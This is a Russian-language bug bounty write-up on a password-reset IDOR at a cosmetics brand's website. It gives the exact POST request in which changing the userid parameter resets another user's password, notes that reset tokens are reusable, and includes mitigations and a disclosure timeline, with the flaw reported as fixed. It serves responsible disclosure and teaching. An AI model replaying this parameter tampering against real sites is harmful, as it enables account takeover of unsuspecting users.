
В этом посте я расскажу, как обнаружил уязвимость, которая позволяет злоумышленнику менять пароли других пользователей, что может привести к захвату аккаунтов. Также я обнаружил, что токен восстановления пароля не аннулируется после использования.
Объект исследования
Wardah Cosmetics — это бренд косметических средств, выпускаемых одной из крупнейших косметических компаний Индонезии.
На момент моего обращения у Wardah не было открытой программы bug bounty, но компания может сделать исключение, если уязвимость получит высокий или критический приоритет.
Благодаря быстрой реакции команды безопасности Wardah на мои отчёты, у меня сложилось положительное впечатление. Они всегда быстро отвечали, понятно объясняли суть происходящего и информировали обо всех этапах — всё это сильно помогло нам в обеспечении безопасности.
Шаги для воспроизведения
Для эксплуатации можно использовать Chrome и Postman.
1. Создайте двух пользователей — атакующего и жертву, например, userid атакующего — 111111, а жертвы — 222222.
2. Войдите на страницу входа от имени атакующего и нажмите ссылку "Забыли пароль".
3. Введите e-mail атакующего, решите reCAPTCHA и нажмите кнопку "Отправить ссылку для сброса".
4. Атакующий получит письмо для восстановления пароля — нажмите кнопку "Восстановить пароль". Ссылка будет выглядеть так:
https://www.wardahbeauty.com/id/auth/recovery/b5ef0ca049e9b44c98d9d989240d2836b2XXX. Предположим, что b5ef0ca049e9b44c98d9d989240d2836b2XXXXXX — это токен восстановления пароля.
5. Атакующий вводит новый пароль и нажимает "Submit" — пароль успешно сброшен.
6. Атакующий смотрит API-запрос во вкладке Network в Chrome — он будет выглядеть так:
Request:
POST
https://www.wardahbeauty.com/auth/recovery_process
Body:
id: "99999"
userid: "111111"
password: "NEWPASSWORD"
passwordconfirm: "NEWPASSWORD"
Мы видим, что вместе с паролем мы также отправляем параметры id и userid.
id — это идентификатор запроса на сброс пароля (99999), который сопоставляется с токеном для сброса пароля b5ef0ca049e9b44c98d9d989240d2836b2XXXXXX
userid — это ID пользователя, чей пароль мы хотим сбросить.
Response:
{
"code": 200,
"msg": "Your password has been reset, please login to continue",
"directurl": "
https://www.wardahbeauty.com/id
"
}
7. Теперь, выступая в роли атакующего, давайте попробуем изменить параметр userid на userid жертвы, в данном случае 222222.
Request:
POST
https://www.wardahbeauty.com/auth/recovery_process
Body:
id: "99999"
userid: "222222"
password: "NEWPASSWORD"
passwordconfirm: "NEWPASSWORD"
Response:
{
"code": 200,
"msg": "Your password has been reset, please login to continue",
"directurl": "
https://www.wardahbeauty.com/id
"
}
Удивительно, но мы смогли изменить пароль жертвы.
8. Чтобы подтвердить, что нам удалось изменить пароль жертвы, мы можем перейти на страницу входа и войти в аккаунт жертвы, используя новый пароль.
Mitigation
Необходимо реализовать корректную авторизацию и контроль доступа на уязвимых эндпоинтах, сопоставляя идентификатор или токен сброса пароля с исходным userid.
Также я обнаружил, что можно многократно использовать функцию сброса пароля с одним и тем же id или токеном. Это опасно, если злоумышленник каким-либо образом получит доступ к электронной почте жертвы и обнаружит там токен сброса пароля. Токен сброса пароля должен истекать сразу после использования, автоматически становиться недействительным при выдаче нового токена, а также иметь ограниченный срок действия (например, 6 часов).
Impact
Злоумышленник может изменить пароль любого пользователя и захватить его аккаунт.
Злоумышленник может захватить аккаунт жертвы, если получит доступ к её электронной почте и найдёт токен сброса пароля.
Timeline
14/01/2024 Связь с командой безопасности через LinkedIn
30/01/2024 Команда безопасности ответила и попросила отправить отчёт по email
01/02/2024 Отправка отчёта по email
05/02/2024 Запрос на публичное раскрытие информации
12/02/2024 Проблема рассмотрена и признана критической. Публичное раскрытие разрешено после устранения уязвимости.
12/02/2024 Получен сертификат благодарности
13/03/2024 Выплачена награда 65 USD
19/03/2024 Проведено повторное тестирование и подтверждено, что проблема решена.
Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер
Комментарии (2)
itshnick88
02.07.2025 16:42Проблема рассмотрена и признана критической.
Выплачена награда 65 USD
=(((
JWSHunter
Хороший классический пример IDOR с очень серьёзными последствиями. Казалось бы, "забыли пароль" - обычная фича, а тут целый дырявый люк для взлома аккаунтов. Особенно примечательно, что токен сброса не сгорает после использования - почти как дать ключ от квартиры и забыть его заблокировать
Отдельно стоит отметить, что даже без официальной программы bb автору удалось эффективно взаимодействовать с командой безопасности - оперативно, прозрачно и с взаимным уважением, как и должно быть